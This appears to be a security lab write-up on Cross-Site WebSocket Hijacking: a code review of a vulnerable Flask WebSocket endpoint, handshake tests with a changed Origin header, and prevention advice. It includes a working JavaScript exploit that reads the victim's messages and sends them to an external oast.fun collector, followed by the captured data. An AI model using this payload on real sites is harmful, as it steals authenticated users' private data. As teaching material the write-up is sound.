CSWH

Cross-Site WebSocket Hijacking (CSWH) is a vulnerability resulting from a CSRF attack on the WebSocket handshake. Unlike regular CSRF (send-only), CSWH provides attackers with write AND read access to data sent over the WebSocket connection because WebSockets are not as strictly bound by the Same-Origin Policy.

---

Code Review - Identifying the Vulnerability

Application Overview

Web application displays messages for logged-in users via WebSocket.

Database Queries (Secure)

def login(username, password):
    mydb = mysql.connector.connect(
        host="127.0.0.1",
        user="db",
        password="db-password",
        database="db"
    )
    mycursor = mydb.cursor(prepared=True)
    query = 'SELECT * FROM users WHERE username=%s AND password=%s'
    mycursor.execute(query, (username, password))
    return mycursor.fetchone()

def fetch_messages(username):
    mydb = mysql.connector.connect(...)
    mycursor = mydb.cursor(prepared=True)
    query = 'SELECT message FROM messages WHERE username=%s'
    mycursor.execute(query, (username,))
    return mycursor.fetchall()

Secure: Uses prepared statements → No SQLi.

Login Endpoint

@app.route('/', methods=['GET', 'POST'])
def index_route():
    if session.get('logged_in'):
        return render_template('home.html', user=session.get('user'))

    if request.method == 'GET':
        return render_template('index.html')

    username = request.form.get('username', '')
    password = request.form.get('password', '')

    if login(username, password):
        session['logged_in'] = True
        session['user'] = username
        return redirect(url_for('index_route'))

    return render_template('index.html', error="Incorrect Details")

Sets session variables logged_in and user upon successful login.

WebSocket Endpoint (Vulnerable!)

@sock.route('/messages')
def messages(sock):
    if not session.get('logged_in'):
        sock.send('{"error":"Unauthorized"}')
        return

    while True:
        response = {}
        try:
            data = sock.receive(timeout=1)
            if not data == '!get_messages':
                continue
            
            username = session.get('user', '')
            messages = fetch_messages(username)

            if not messages:
                response['error'] = "No messages for this user!"
            else:  
                response['messages'] = [msg[0] for msg in messages]

            sock.send(json.dumps(response))
        except Exception as e:
            response['error'] = "An error occured!"
            sock.send(json.dumps(response))

Vulnerability Analysis

Issue	Description
Session cookie authentication	WebSocket uses session cookie for auth
No CSRF token	No additional CSRF protection
No Origin validation	Origin header not checked

Result: Vulnerable to CSRF on WebSocket handshake → CSWH!

---

Confirming the Vulnerability

Normal WebSocket Handshake

GET /messages HTTP/1.1
Host: 172.17.0.2:80
Connection: Upgrade
Upgrade: websocket
Origin: http://172.17.0.2:80
Sec-WebSocket-Version: 13
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXIiOiJodGItc3RkbnQifQ.ZEQwlQ.ZoJ2yDD1Ujx5wzp54vXWN97j1LM
Sec-WebSocket-Key: tVXWWL8gHBYaiixIRZvehw==

Cross-Origin Test

Change Origin header to different domain:

GET /messages HTTP/1.1
Host: 172.17.0.2:80
Connection: Upgrade
Upgrade: websocket
Origin: http://crossdomain.htb
Sec-WebSocket-Version: 13
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXIiOiJodGItc3RkbnQifQ.ZEQwlQ.ZoJ2yDD1Ujx5wzp54vXWN97j1LM
Sec-WebSocket-Key: 7QpTshdCiQfiv3tH7myJ1g==

Result: Server still responds with user's messages → CSWH confirmed!

---

Exploitation

Attack Flow

┌─────────────────────────────────────────────────────────────────────────┐
│                         CSWH Attack Flow                                │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  1. Admin logged in to vulnerable app (has session cookie)             │
│                                                                         │
│  2. Admin visits attacker's site: cwshpayload.htb                      │
│                                                                         │
│  3. Attacker's JS creates WebSocket to vulnerable app:                 │
│     new WebSocket('ws://vulnerable.app/messages')                      │
│     └── Browser automatically sends admin's session cookie!            │
│                                                                         │
│  4. WebSocket established as authenticated admin                       │
│                                                                         │
│  5. Attacker's JS sends: !get_messages                                 │
│                                                                         │
│  6. Server responds with admin's messages                              │
│                                                                         │
│  7. Attacker's JS exfiltrates data to interact.sh                      │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

Exploit Code

Host this on attacker-controlled site:

<script>
  function send_message(event){
    socket.send('!get_messages');
  };

  const socket = new WebSocket('ws://172.17.0.2:80/messages');
  socket.onopen = send_message;
  socket.addEventListener('message', ev => {
    fetch('http://ch23a202vtc0000138p0getbibyyyyyyb.oast.fun/', {
      method: 'POST', 
      mode: 'no-cors', 
      body: ev.data
    });
  });
</script>

Exfiltrated Data (interact.sh)

POST / HTTP/1.1
Host: ch23a202vtc0000138p0getbi0yyyyyb.oast.fun

{"messages": ["This is top secret admin information!"]}

---

Limitations

SameSite Cookie Attribute

Important: For this exploit to work, the SameSite cookie flag must be set to None.

SameSite Value	CSWH Exploitable?
None	✅ Yes
Lax (default in most browsers)	❌ No
Strict	❌ No

Most browsers apply default value of Lax if SameSite not set → Attack requires deliberately insecure configuration.

---

Summary

┌─────────────────────────────────────────────────────────────────────────┐
│                      CSWH vs Regular CSRF                               │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  Regular CSRF:                                                         │
│  └── Can SEND cross-origin requests                                    │
│  └── CANNOT read response (SOP blocks)                                 │
│                                                                         │
│  CSWH:                                                                 │
│  └── Can SEND messages via WebSocket                                   │
│  └── CAN READ responses (WebSocket not bound by SOP)                   │
│  └── Full bidirectional access as victim!                              │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

Prevention

Method	Description
Validate Origin header	Reject WebSocket connections from unexpected origins
Use CSRF tokens	Require token in WebSocket handshake
SameSite=Strict/Lax	Prevents cross-site cookie sending
Additional authentication	Token-based auth for WebSocket, not just session cookie